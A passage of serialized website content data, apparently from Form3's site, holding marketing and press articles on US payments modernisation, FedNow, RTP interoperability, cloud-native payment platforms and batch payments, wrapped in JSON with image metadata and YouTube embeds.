banks are trying to enact across the payments landscape.But despite the value financial institutions (FIs) can capture through cloud migration, moving and outsourcing cloud computing to a smaller third-party provider is still a daunting endeavor for some, said Dave Scola, CEO-U.S. at Form3.",{"dimensions":22593,"alt":21799,"copyright":5,"url":22594,"id":22595,"edit":22596},{"width":501,"height":646},"\u002F_prismic-media\u002Fcc73990087c112a5-oEtPMFAiUn0RC2LT_ef351dce-eb4f-41f5-8956-4a2c127.png","oEtPMFAiUn0RC2LT",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[22603,22612,22629,22651,22683],{"variation":437,"version":438,"items":22604,"primary":22605,"id":22611,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":22606,"caption":5},{"embed_url":22607,"provider_name":283,"provider_url":2050,"title":22608,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":22609,"html":22610},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=scB1-k1aYxk","PYMNTS.com Executive Insight with David Scola, Form3","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FscB1-k1aYxk\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FscB1-k1aYxk?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"PYMNTS.com Executive Insight with David Scola, Form3\">\u003C\u002Fiframe>","embed$74c65219-91d9-4baf-a6ef-9617059a4d33",{"variation":437,"version":438,"items":22613,"primary":22614,"id":22628,"slice_type":468,"slice_label":5},[],{"body":22615},[22616,22619,22622,22625],{"type":25,"text":22617,"spans":22618},"“There is this inherent and understandable concern that this is such a core critical part of a bank’s obligation to its clients [and] it’s something they can’t afford to get wrong,” Scola said in an interview as part of a PYMNTS Executive Series on “The One Thing.”",[],{"type":25,"text":22620,"spans":22621},"Getting it right is even more critical in today’s instant FedNow environment, he added, as having to deal with liquidity, fraud and compliance processing in mere seconds can be “a lot to bear.”",[],{"type":25,"text":22623,"spans":22624},"This is where embracing the cloud offers great value, he explained, by helping banks gain the flexibility and real-time payments speed and security necessary to keep up with the demands of a rapidly evolving payments landscape.",[],{"type":25,"text":22626,"spans":22627},"“It’s very difficult for any single bank to make the investment required to achieve those levels of speed and processing power on their own premises,” Scola pointed out. “This is why the cloud makes a lot of sense.”",[],"rich_text$0b5b626b-85c6-4e8e-81b5-e37b826625f4",{"variation":437,"version":438,"items":22630,"primary":22631,"id":22650,"slice_type":468,"slice_label":5},[],{"body":22632},[22633,22636,22641,22644,22647],{"type":746,"text":22634,"spans":22635},"Banking Overhaul Goes Beyond FedNow",[],{"type":25,"text":22637,"spans":22638},"According to Scola, the rollout of FedNow has intensified the need for a revamped and modernized payment landscape capable of addressing technical hurdles created by the instant payment environment.",[22639],{"start":9799,"end":1977,"type":489,"data":22640},{"link_type":491,"url":22292,"target":493},{"type":25,"text":22642,"spans":22643},"In fact, it has led to a massive overhaul of individual banks’ payments ecosystem and the broader payments landscape, Scola noted, creating a downstream effect on banks looking to holistically replace their entire payments infrastructure.",[],{"type":25,"text":22645,"spans":22646},"And it’s not just for instant payments, he argued, but also for other schemes like ACH, Fedwire and CHIPS. “There are very few banks that don’t have a program already in effect or are planning to increase investment in their payments environment in 2024,” he said.",[],{"type":25,"text":22648,"spans":22649},"Meanwhile, for clients who are keen to replace their core banking platforms but have concerns around the lack of secured connectivity to the other payment schemes like the Fed and TCH in the U.S., Scola said Form3 is helping them come up with strategies to insulate themselves from exposure to that last-mile connectivity.",[],"rich_text$80865d65-3e76-4923-9a46-d9420f9cbd40",{"variation":437,"version":438,"items":22652,"primary":22653,"id":22682,"slice_type":468,"slice_label":5},[],{"body":22654},[22655,22658,22667,22670,22673,22676],{"type":746,"text":22656,"spans":22657},"US-UK Faster Payments Landscape",[],{"type":25,"text":22659,"spans":22660},"Comparing the U.S. and U.K. faster payment landscapes, Scola acknowledged that the U.S. is years behind in the instant payment race, unlike the U.K., which is now looking to upgrade its instant payment system to incorporate a modern ISO 20022-compliant architecture under its New Payment Architecture (NPA) program.",[22661,22664],{"start":10918,"end":15352,"type":489,"data":22662},{"link_type":491,"url":22663,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Femea\u002F2023\u002Fuk-to-modernize-its-real-time-payment-architecture\u002F#:~:text=The%20U.K.%20is%20upgrading%20its,Bacs%20system%20in%20the%20future.",{"start":1802,"end":6510,"type":489,"data":22665},{"link_type":491,"url":22666,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Ftag\u002Fnew-payment-architecture\u002F",{"type":25,"text":22668,"spans":22669},"The U.K. is also not the only one far ahead of the U.S. when it comes to faster payments. As Scola pointed out, “we’re behind ... even to much newer comers like India and Brazil who’ve recently rolled out very effective, very ubiquitous platforms.”",[],{"type":25,"text":22671,"spans":22672},"On the upside, however, he noted that the U.S. system is designed to encourage healthy competition between payment schemes, boosting competition which in turn breeds growth and effective pricing, among other things.",[],{"type":25,"text":22674,"spans":22675},"“The U.S. doesn’t allow for an initiative like SEPA [Single Euro Payments Area], for instance, to mandate the usage of any particular system. The schemes need to make their cases on their own merit rather than banks being forced to use them,” he said.",[],{"type":25,"text":22677,"spans":22678},"That said, the new FedNow initiative still has to prove its case on ubiquity and accessibility, a task that involves ramping up bank adoption in a relatively short amount of time. “Ultimately, that’s what we need in the U.S. — a mechanism to reach as many end customers as possible through an instant payment platform that is as ubiquitous as possible,” Scola said.",[22679],{"start":8997,"end":11737,"type":489,"data":22680},{"link_type":491,"url":22681,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Freal-time-payments\u002F2023\u002Ffednows-success-hinges-on-getting-enough-banks-to-connect-and-use-it\u002F","rich_text$6eb3fbcd-2c62-4d4a-9c13-21c19b6c3f6b",{"variation":437,"version":438,"items":22684,"primary":22685,"id":22692,"slice_type":468,"slice_label":5},[],{"body":22686},[22687],{"type":25,"text":14790,"spans":22688},[22689],{"start":9799,"end":1131,"type":489,"data":22690},{"link_type":491,"url":22691,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Fbanking\u002F2023\u002Fform3-ceo-us-says-fednow-launch-pushes-banks-to-embrace-the-cloud\u002F","rich_text$9867fb61-21ae-4cd8-9aa7-06f44209c626",{"id":22694,"uid":22695,"type":3743,"data":22696},"alzzuxEAACkAUWQt","us-payment-modernization-best-approaches-in-2022",{"title":22697,"excerpt":22698,"card_image":22699,"published_date":1938,"reading_time":4603,"tag":729,"dek":22704,"featured_image":22705,"about_form3":22706,"client_about_heading":5,"client_about_body":22707,"author_name":5,"author_title":5,"author_photo":22708,"author_bio":22709,"author_linkedin":22710,"slices":22711,"meta_title":22827,"meta_description":22828},"How should US banks approach payment modernisation","For any leader of an organisation steeped in payments, it’s a time of great opportunity and great complexity. The US payment landscape is rapidly evolving, and payment modernisation is a journey that requires careful planning and execution. With the move to ISO20022 and the upcoming next stage in faster payments with FedNow, the speed of change can be dizzying, but the rewards are considerable. By staying ahead of the curve, leaders can ensure that their organisations are well-positioned to take advantage of the latest payment innovations.",{"dimensions":22700,"alt":22697,"copyright":5,"url":22701,"id":22702,"edit":22703},{"width":412,"height":412},"\u002F_prismic-media\u002F3f979b8b74ff729f-2Qd2f6s-g8HWiCSH_us-payment-modernization-best-a.svg","2Qd2f6s-g8HWiCSH",{"x":398,"y":398,"zoom":399,"background":650},"Payments modernisation in the US is not a new phenomenon, but in today’s environment the nature of this exercise has shifted. Below is an excerpt from our recent webinar we hosted discussing this topic in detail.",{},[],[],{},[],{"link_type":434},[22712,22735,22756,22764,22789,22802],{"variation":437,"version":438,"items":22713,"primary":22714,"id":22734,"slice_type":468,"slice_label":5},[],{"body":22715},[22716,22719,22722,22725,22728,22731],{"type":746,"text":22717,"spans":22718},"The path to modernisation",[],{"type":25,"text":22720,"spans":22721},"Around the world, efforts to modernise payments are well underway. Asia Pacific, for example, has seen large scale modernisation efforts as the region’s banks adapt to ISO 20022, while Europe has been embracing real-time payments for some time. ",[],{"type":25,"text":22723,"spans":22724},"In the US, meanwhile, payments modernisation has arguably been underway since the 1970s. But whereas this was previously a slow and incremental process of adjustment, the pace of change has now shifted, with banks aiming for a more wholesale transformation. ",[],{"type":25,"text":22726,"spans":22727},"“At some point in the last few years – and you can point to RTP rolling out from TCH in 2017, and everything that’s going on in the FedNow environment – the mindset has shifted from slowly modernising our stack at the banks to a more holistic change,” says Mark Ranta, Senior Manager, Payment Technology Transformation at EY.",[],{"type":25,"text":22729,"spans":22730},"There are a number of reasons for this shift. For one thing, it has become all too clear that legacy platforms are fragmented, with a high cost of ownership. As Manish Baheti, Head of Payments for Consumer & Small Business at Santander explains, “Legacy payment architecture is often constrained by its inability to be scalable and responsive to changing client requirements.”",[],{"type":25,"text":22732,"spans":22733},"With new payment channels emerging and being adopted across the industry, there is a growing expectation that banks will integrate these channels quickly and seamlessly. Other factors driving the focus on payments modernisation include:",[],"rich_text$f03e16fc-199a-483a-87a1-1abb54d11593",{"variation":437,"version":438,"items":22736,"primary":22737,"id":22755,"slice_type":468,"slice_label":5},[],{"body":22738},[22739,22743,22747,22751],{"type":3373,"text":22740,"spans":22741},"Cloud technology. Five years ago, discussions about putting mission-critical systems such as payment systems on the cloud were seen as off-limits. Today, however, this is increasingly seen as a necessary step in payments modernisation.",[22742],{"start":398,"end":2477,"type":593},{"type":3373,"text":22744,"spans":22745},"Competition with non-banks. For traditional financial institutions, the need to compete with non-banks has been a major catalyst for change. As such, it is clear that banks need to invest in overhauling their legacy infrastructures.",[22746],{"start":398,"end":5574,"type":593},{"type":3373,"text":22748,"spans":22749},"Impact of the pandemic. The pandemic was an important catalyst for sharpening the industry’s focus on moving to a digital-first mindset and driving payment transformation.",[22750],{"start":398,"end":7635,"type":593},{"type":3373,"text":22752,"spans":22753},"Changing client expectations. Clients have become increasingly sophisticated and expect to access bank services whenever and however they want, with a consistent experience across channels. They also expect all activities to be seamless, including fraud mitigation, authentication and exception management processes. ",[22754],{"start":398,"end":9704,"type":593},"rich_text$4f1d8841-1456-4007-9fce-0897c348f3f8",{"variation":437,"version":438,"items":22757,"primary":22758,"id":22763,"slice_type":583,"slice_label":5},[],{"quote":22759,"attribution_name":12290,"attribution_role":5},[22760],{"type":25,"text":22761,"spans":22762},"“The moment banks started to compete with non-banks, we needed to go into a different weight class... when we were all competing with each other, it was OK to carry the extra weight, but non-bank competition has been a huge catalyst for banks to remove legacy infrastructure.”",[],"pull_quote$ee84e969-c72f-467b-881e-bd457ad008ec",{"variation":437,"version":438,"items":22765,"primary":22766,"id":22788,"slice_type":468,"slice_label":5},[],{"body":22767},[22768,22770,22773,22776,22779,22782,22785],{"type":746,"text":9845,"spans":22769},[],{"type":25,"text":22771,"spans":22772},"Knowing where to start on a payment modernisation journey isn’t always straightforward. For one thing, building everything from scratch end-to-end is unlikely to be the best approach. ",[],{"type":25,"text":22774,"spans":22775},"As Kunal Kochhar, GTS Head of Product Development Global Payments at Bank of America, advises, “Build what you can at home, and leverage the solutions out there that are available to you. The future is all about ecosystems, and you don’t want a situation where you’re undertaking too many things on your own in a payment modernisation effort.”",[],{"type":25,"text":22777,"spans":22778},"The importance of partnerships is only like to grow, with an ever-greater focus on strong ecosystems that comprise customers, financial institutions, regulators, fintechs and other partners. Also key are the technologies that will enable new integrations and end-to-end customer journeys, such as APIs, event-based architecture and microservices. ",[],{"type":25,"text":22780,"spans":22781},"While knowing the goal of any modernisation exercise is critical, it’s also important to pinpoint which activities and goals are not going to be included in the project. “For example, we understood that we were not doing a system upgrade, or trading something out like-for-like,” says Bridgit (Bateman) Chayt, SVP Head of Commercial Payments & Treasury, Fifth Third Bank. “We were taking an opportunity to reinvent how we work, in addition to the technology that supports that work.”",[],{"type":25,"text":22783,"spans":22784},"Equally, the best approach will be different for every firm, and will be defined by factors such as the bank’s footprint, clientele and goals. As such, it’s important to focus on the developments that will be most of interest to the firm’s specific client base. ",[],{"type":25,"text":22786,"spans":22787},"On another note, it’s important to recognise that adopting a new technology may not be the best solution in every situation. Different firms are at different points in their journeys – and in some cases, smaller or medium sized banks may find it is more important to fix existing inefficiencies, rather than moving to the cloud or adopting a faster queue solution. Once a more efficient architecture has been achieved, firms will then be better placed to adopt a cloud infrastructure that can enable them to scale up faster.",[],"rich_text$1a9da846-acde-430c-ba8a-7eb1bc1b4e6b",{"variation":437,"version":438,"items":22790,"primary":22791,"id":22801,"slice_type":468,"slice_label":5},[],{"body":22792},[22793,22796,22798],{"type":746,"text":22794,"spans":22795},"Journey of transformation",[],{"type":25,"text":22698,"spans":22797},[],{"type":25,"text":22799,"spans":22800},"Access our full on-demand webinar: US Payments: The Modernisation Journey where we heard from a host of experts on what modernisation means for them and the approaches they take. These speakers include:",[],"rich_text$77aa0265-4174-495c-8c7a-d8407e0968dc",{"variation":437,"version":438,"items":22803,"primary":22804,"id":22826,"slice_type":468,"slice_label":5},[],{"body":22805},[22806,22810,22814,22818,22822],{"type":3373,"text":22807,"spans":22808},"Bridgit (Bateman) Chayt, SVP Head of Commercial Payments & Treasury Management, FIFTH THIRD BANK",[22809],{"start":398,"end":1066,"type":593},{"type":3373,"text":22811,"spans":22812},"Manish Baheti, Head of Payments for Consumer & Small Business, SANTANDER US",[22813],{"start":398,"end":8472,"type":593},{"type":3373,"text":22815,"spans":22816},"Kunal Kochhar, GTS Head of Product Development Global Payments, BANK OF AMERICA",[22817],{"start":398,"end":8472,"type":593},{"type":3373,"text":22819,"spans":22820},"Mark Ranta, Senior Manager, Payment Technology Transformation, ERNST & YOUNG",[22821],{"start":398,"end":2707,"type":593},{"type":3373,"text":22823,"spans":22824},"David Scola, General Manager - US, FORM3",[22825],{"start":398,"end":1951,"type":593},"rich_text$3e689157-4b0a-482c-b94c-bc8fdeed8aec","payment modernisation approaches in 2022","How can banks best approach their payment modernisation journey in 2022. How can they take advantage of new technologies to meet changing customer expectations.",{"id":22830,"uid":22831,"type":3743,"data":22832},"alzyuxEAACgAUWHI","apis-promise-to-make-instant-payment-systems-interoperable",{"title":22833,"excerpt":22834,"card_image":22835,"published_date":22840,"reading_time":418,"tag":5813,"dek":5,"featured_image":22841,"about_form3":22846,"client_about_heading":5,"client_about_body":22847,"author_name":5,"author_title":5,"author_photo":22848,"author_bio":22849,"author_linkedin":22850,"slices":22851,"meta_title":22833,"meta_description":22834},"APIs Promise to Make Instant Payment Systems Interoperable","Cory Barnes, Senior Product Manager at Form3, tells PYMNTS that instant payments can reach their full potential only when far-flung systems are truly in sync and interoperable.",{"dimensions":22836,"alt":16517,"copyright":5,"url":22837,"id":22838,"edit":22839},{"width":412,"height":412},"\u002F_prismic-media\u002F0a3a063c24dc8352-x0ayrSFuN-tS-ClT_apis-promise-to-make-instant-pa.png","x0ayrSFuN-tS-ClT",{"x":398,"y":398,"zoom":399,"background":400},"2024-02-09",{"dimensions":22842,"alt":16524,"copyright":5,"url":22843,"id":22844,"edit":22845},{"width":501,"height":646},"\u002F_prismic-media\u002F55e6cb349f24d17e-H4YmvjbaiPDVUfqJ_ef351dce-eb4f-41f5-8956-4a2c127.png","H4YmvjbaiPDVUfqJ",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[22852,22893,22904,22924],{"variation":437,"version":438,"items":22853,"primary":22854,"id":22892,"slice_type":468,"slice_label":5},[],{"body":22855},[22856,22859,22862,22874,22877,22880,22883,22886,22889],{"type":25,"text":22857,"spans":22858},"Cory Barnes, senior product manager at Form3, told PYMNTS that instant payments can reach their full potential only when far-flung systems are truly in sync and interoperable.",[],{"type":25,"text":22860,"spans":22861},"“The expectation with instant payments is that they are frictionless,” he said. “It’s all about the end user.”",[],{"type":25,"text":22863,"spans":22864},"Real-time payments have been a reality over The Clearing House’s RTP Network for the past seven years and across the Federal Reserve’s FedNow® Service since July. Each system has its adherents, with hundreds of financial institutions signed up to one or the other, and sometimes both.",[22865,22867,22869,22872],{"start":2674,"end":1029,"type":489,"data":22866},{"link_type":491,"url":14728,"target":493},{"start":9237,"end":854,"type":489,"data":22868},{"link_type":491,"url":4108,"target":493},{"start":8997,"end":4588,"type":489,"data":22870},{"link_type":491,"url":22871,"target":493},"https:\u002F\u002Fwww.federalreserve.gov\u002F",{"start":19450,"end":9206,"type":489,"data":22873},{"link_type":491,"url":14982,"target":493},{"type":25,"text":22875,"spans":22876},"But as it stands, payments initiated on one rail must travel and settle across the same rail — confined to RTP or FedNow. A payment or remittance can’t travel from a bank on one system and land with a bank on another system.",[],{"type":25,"text":22878,"spans":22879},"Barnes likened the situation to the mobile phone landscape a few decades ago, where Verizon subscribers could not call someone on the AT&T network. That changed over time. We’re headed to the same flexibility with instant payments.",[],{"type":25,"text":22881,"spans":22882},"He said that interoperable schemes — linking RTP and FedNow — could expedite the overall pace of growth for instant payments in the United States. To get there, more banks will have to sign on to embrace faster payments, which in turn will spur a “network effect” and growth in the number of endpoints.",[],{"type":25,"text":22884,"spans":22885},"Viewed through the lens of his own time in the banking industry, over the course of more than a decade in banking, Barnes said that banks are reluctant to sign onto new infrastructure. They’re concerned about fraud, vulnerability and the need to overhaul their own back-end processes.",[],{"type":25,"text":22887,"spans":22888},"Providers who sit in the proverbial, such as Form3, can help solve the interoperability concerns for banks. The company offers instant payments functionality, tied to RTP and FedNow, which means that the financial institutions need not wait for TCH or the Federal Reserve to solve for the interoperability issues.",[],{"type":25,"text":22890,"spans":22891},"“We absorb the burden on the banks’ behalf,” said Barnes.",[],"rich_text$385b3c2c-a2bd-4165-8a90-488fd2a436f2",{"variation":437,"version":438,"items":22894,"primary":22895,"id":22903,"slice_type":468,"slice_label":5},[],{"body":22896},[22897],{"type":25,"text":22898,"spans":22899},"Watch: https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F911556622",[22900],{"start":1130,"end":14740,"type":489,"data":22901},{"link_type":491,"url":22902},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F911556622","rich_text$318018f4-eaa6-48ae-96de-79cfb57affda",{"variation":437,"version":438,"items":22905,"primary":22906,"id":22923,"slice_type":468,"slice_label":5},[],{"body":22907},[22908,22911,22914,22917,22920],{"type":746,"text":22909,"spans":22910},"Linking Far-Flung Payment Networks",[],{"type":25,"text":22912,"spans":22913},"As RTP and FedNow are headed inevitably toward interoperability, it’s natural to look toward faster payments rails based in the U.S. to link up with faster payments schemes operating abroad.",[],{"type":25,"text":22915,"spans":22916},"“Interoperability does not necessarily need to be firmed up or cemented 100% in the U.S. before there is an opportunity to ‘play’ in the cross-border space,” he said.",[],{"type":25,"text":22918,"spans":22919},"Form3 already facilitates nearly half of the faster payments volume in the United Kingdom, he said. There have already been expansions in the European markets as instant payments are possible across countries in the SEPA area. API connectivity will enable the U.S. schemes to work with instant payment rails in Europe and elsewhere, giving rise to international directories and peer-to-peer transactions that are truly borderless.",[],{"type":25,"text":22921,"spans":22922},"“For any customer that’s global, that’s an ideal scenario,” he said. “…Interoperability will drive some significant progress forward in the world of instant payments.”",[],"rich_text$9cf0f5ca-3eed-4954-b5cf-2424dd0d64b6",{"variation":437,"version":438,"items":22925,"primary":22926,"id":22933,"slice_type":468,"slice_label":5},[],{"body":22927},[22928],{"type":25,"text":14790,"spans":22929},[22930],{"start":9799,"end":1131,"type":489,"data":22931},{"link_type":491,"url":22932,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Ffaster-payments\u002F2024\u002Fapis-promise-to-make-instant-payment-systems-interoperable","rich_text$1b180daa-7837-49c3-a2a5-ad2b8eb124ab",{"id":22935,"uid":22936,"type":3743,"data":22937},"alz0gBEAACcAUWYJ","payments-dna",{"title":22938,"excerpt":22939,"card_image":22940,"published_date":5812,"reading_time":2375,"tag":3751,"dek":22939,"featured_image":22945,"about_form3":22946,"client_about_heading":5,"client_about_body":22947,"author_name":5,"author_title":5,"author_photo":22948,"author_bio":22949,"author_linkedin":22950,"slices":22951,"meta_title":22938,"meta_description":22939},"Payments DNA","On-Premise is dead, long live Cloud-Native Technology...",{"dimensions":22941,"alt":22938,"copyright":5,"url":22942,"id":22943,"edit":22944},{"width":412,"height":412},"\u002F_prismic-media\u002Fea0196689fbd89f6-KauN9JjMDqabSKaG_payments-dna.png","KauN9JjMDqabSKaG",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[22952],{"variation":437,"version":438,"items":22953,"primary":22954,"id":23020,"slice_type":468,"slice_label":5},[],{"body":22955},[22956,22959,22962,22965,22969,22972,22975,22978,22982,22985,22988,22991,22994,22997,23000,23003,23007,23010,23013,23016],{"type":25,"text":22957,"spans":22958},"Rising customer expectations, growing competition and a new era of ‘everything instant’ has meant that traditional Banks and Fintechs are having to rethink their operating models. Financial institutions can no longer afford to continue to maintain high cost, legacy on-premise infrastructure and multi-layered back office processes that just can’t keep up with the level of payment volumes being demanded.",[],{"type":25,"text":22960,"spans":22961},"How can these organisations deliver instant movement of funds on a 24\u002F7 basis when their systems are designed to process payments in batches, with weekends reserved for essential maintenance? How can they move to a single processing solution and remove the many layers of back office spaghetti?",[],{"type":25,"text":22963,"spans":22964},"And, what happens when Banks’ need to adapt quickly to foreseeable global developments, new regulation and standards?",[],{"type":25,"text":22966,"spans":22967},"Move over On-premise, Cloud Native has arrived.",[22968],{"start":398,"end":9251,"type":593},{"type":25,"text":22970,"spans":22971},"Cloud naturally lends itself well to the digital experience. The latest platform-based models with interconnected microservices and APIs to expose internal systems to third parties are all making it much easier to provide a more mobile and flexible proposition.",[],{"type":25,"text":22973,"spans":22974},"Let’s not sugar coat it though. Security is always front of mind for CIO’s and many are still holding on to their hosted Cloud arrangements which are essentially company applications hosted on dedicated servers in the Cloud, but the database still remains in-house. These were initially built for on-premise environments to move from a Capex (capital expenditure) to Opex (operating expense) finance model. Nevertheless companies are still operating an on-premise model, but it’s just hosted in the cloud.",[],{"type":25,"text":22976,"spans":22977},"Ten years later and Cloud has come a long way since the early days. Today, Cloud Native architecture is built specifically for cloud. It has the benefit of more flexibility over legacy systems that were built to run on a particular hardware infrastructure and can be difficult to move to cloud later on.",[],{"type":25,"text":22979,"spans":22980},"Cloud Native is:",[22981],{"start":398,"end":2477,"type":593},{"type":1151,"text":22983,"spans":22984},"Highly scalable (i.e. hardware capacity can be increased or decreased rapidly)",[],{"type":1151,"text":22986,"spans":22987},"Highly resilient over multiple data centres (active-active-active)",[],{"type":1151,"text":22989,"spans":22990},"Highly automated data-based decision tools built in (identify and deal with potential threats early)",[],{"type":1151,"text":22992,"spans":22993},"Highest levels of security – with compliance, regulation and security baked in at every step",[],{"type":1151,"text":22995,"spans":22996},"Available 24\u002F7, 365 - rolling deployments can be made with no downtime",[],{"type":1151,"text":22998,"spans":22999},"Faster and more accurate – less back office layers, fewer process steps",[],{"type":1151,"text":23001,"spans":23002},"Faster to implement.",[],{"type":25,"text":23004,"spans":23005},"The benefits of microservices",[23006],{"start":398,"end":871,"type":593},{"type":25,"text":23008,"spans":23009},"The very nature of Cloud native applications is being able to break them down into single-function component services that make up an application known as Microservices. Each small service runs in its own process and are independently deployable without compromising the integrity of an application. As a result, you might only need to change one or more distinct services instead of having to redeploy entire applications. This is perfect for adapting propositions or deploying product improvements on an iterative basis, and, faster and cheaper than previously.",[],{"type":25,"text":23011,"spans":23012},"Multiple layers of security and configurations change or rotate daily, and fully automated data-based decision-making tools isolate issues or re-route services automatically without the need for intervention. But breaking away from legacy infrastructure to follow a cloud-native technology model requires a change in ways of working and a shift in mindset throughout an organisation. In the new world, products and services are changing rapidly based on customer demand, so being able to adapt and launch new propositions at pace is key.",[],{"type":25,"text":23014,"spans":23015},"Form3 is working with many UK and European banks and regulated Fintechs to help them migrate to Cloud Native technology quickly and efficiently and also be culturally ready for the change. Our Cloud-Native, Payments-as-a-Service Platform is designed to be ready to hook into your applications in just a few weeks. It is delivered as a fully managed service from kick-off to full production. We only use best in class technology to ensure that the platform performs really well (check out our continuous status performance live on our website). And of course, we operate across three data centres, the highest level of security currently available.",[],{"type":25,"text":23017,"spans":23018},"Come and chat to us at Sibos, 23 -26 September 2019, London.",[23019],{"start":4023,"end":1250,"type":593},"rich_text$e7753874-9907-4f3a-9cb0-26c780ff5ee4",{"id":23022,"uid":23023,"type":3743,"data":23024},"alzzgxEAACoAUWOh","gated-content-real-time-payments-implementation-lessons-from-across-the-pond1",{"title":23025,"excerpt":23026,"card_image":23027,"published_date":23033,"reading_time":9211,"tag":6178,"dek":5,"featured_image":23034,"about_form3":23039,"client_about_heading":5,"client_about_body":23040,"author_name":5,"author_title":5,"author_photo":23041,"author_bio":23042,"author_linkedin":23043,"slices":23044,"meta_title":23025,"meta_description":23026},"Real-time payments implementation: Lessons from across the pond","As the US moves toward broad adoption of real-time payments (RTP) with the deployment of FedNow, it can learn a lot from the UK’s implementation of real-time payments.",{"dimensions":23028,"alt":23029,"copyright":5,"url":23030,"id":23031,"edit":23032},{"width":412,"height":412},"real-time payments","\u002F_prismic-media\u002F6a9f9940d51ca73a-pUWebSL1tUR1KkqN_gated-content-real-time-payment.jpg","pUWebSL1tUR1KkqN",{"x":398,"y":398,"zoom":399,"background":650},"2023-03-03",{"dimensions":23035,"alt":23029,"copyright":5,"url":23036,"id":23037,"edit":23038},{"width":501,"height":646},"\u002F_prismic-media\u002F9a623e7ca1cee79f-Fm0ZmbGm4Uon-i5M_ef351dce-eb4f-41f5-8956-4a2c127.png","Fm0ZmbGm4Uon-i5M",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[23045,23056],{"variation":437,"version":438,"items":23046,"primary":23047,"id":23055,"slice_type":468,"slice_label":5},[],{"body":23048},[23049,23052],{"type":25,"text":23050,"spans":23051},"As the US moves toward broad adoption of real-time payments (RTP) with the deployment of FedNow, it can learn a lot from the UK’s implementation of real-time payments.  ",[],{"type":25,"text":23053,"spans":23054},"Our latest webinar in partnership with Payments Journal sheds light on what banks should consider when it comes to real-time payments, the vast differences on what the space looks like in the US compared with other regions, and what the payments industry can expect in 2023.  ",[],"rich_text$c707c053-e0b6-42b6-8199-9198da8ef99d",{"variation":437,"version":438,"items":23057,"primary":23058,"id":23070,"slice_type":468,"slice_label":5},[],{"body":23059},[23060,23062,23066],{"type":746,"text":21602,"spans":23061},[],{"type":3373,"text":23063,"spans":23064},"Miriam Sheril, Head of Product\nFORM3",[23065],{"start":398,"end":1951,"type":593},{"type":3373,"text":23067,"spans":23068},"Connie Blacklock, EMEA Head of Real-Time Payments \nJ.P. MORGAN",[23069],{"start":398,"end":2477,"type":593},"rich_text$57549cfe-df55-4365-9bbf-19f72e5b520e",{"id":23072,"uid":23073,"type":3743,"data":23074},"alzzOREAACkAUWLq","batch-payments-to-become-a-long-lived-reality-in-real-time-world",{"title":23075,"excerpt":23076,"card_image":23077,"published_date":23082,"reading_time":418,"tag":5813,"dek":23083,"featured_image":23084,"about_form3":23089,"client_about_heading":5,"client_about_body":23090,"author_name":5,"author_title":5,"author_photo":23091,"author_bio":23092,"author_linkedin":23093,"slices":23094,"meta_title":23075,"meta_description":23076},"Batch Payments to Become a Long-Lived Reality in Real-Time World","The shift toward real-time payments won’t doom batch payments to extinction. There’s room for co-existence, Mark Staunton, head of customer success in North America at Form3, told PYMNTS, even when FedNow launches in the United States in just a matter of weeks.",{"dimensions":23078,"alt":21746,"copyright":5,"url":23079,"id":23080,"edit":23081},{"width":412,"height":412},"\u002F_prismic-media\u002F16b6aa2e6495fe1c-mBBrVmArRCsQQNIA_batch-payments-to-become-a-long.png","mBBrVmArRCsQQNIA",{"x":398,"y":398,"zoom":399,"background":400},"2023-06-21","The shift toward real-time payments won’t doom batch payments to extinction.\nThere’s room for co-existence, Mark Staunton, Head of Customer Success in North America at Form3, told PYMNTS, even when FedNow launches in the United States in just a matter of weeks.",{"dimensions":23085,"alt":21746,"copyright":5,"url":23086,"id":23087,"edit":23088},{"width":501,"height":646},"\u002F_prismic-media\u002F2689cbcc31219730-xsqmqb2VW1YIUX_r_ef351dce-eb4f-41f5-8956-4a2c127.png","xsqmqb2VW1YIUX_r",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[23095,23103,23129,23167],{"variation":437,"version":438,"items":23096,"primary":23097,"id":23102,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":23098,"caption":5},{"embed_url":23099,"provider_name":283,"provider_url":2050,"title":23075,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":23100,"html":23101},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=5pBTl0v0cMM","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002F5pBTl0v0cMM\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F5pBTl0v0cMM?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Batch Payments to Become a Long-Lived Reality in Real-Time World\">\u003C\u002Fiframe>","embed$0e43634f-32a0-4dda-b56c-a808d3e0f536",{"variation":437,"version":438,"items":23104,"primary":23105,"id":23128,"slice_type":468,"slice_label":5},[],{"body":23106},[23107,23110,23113,23116,23119,23122,23125],{"type":25,"text":23108,"spans":23109},"An example has been set in the United Kingdom where real-time payments have been part of the payments landscape since 2008. The volume of payments 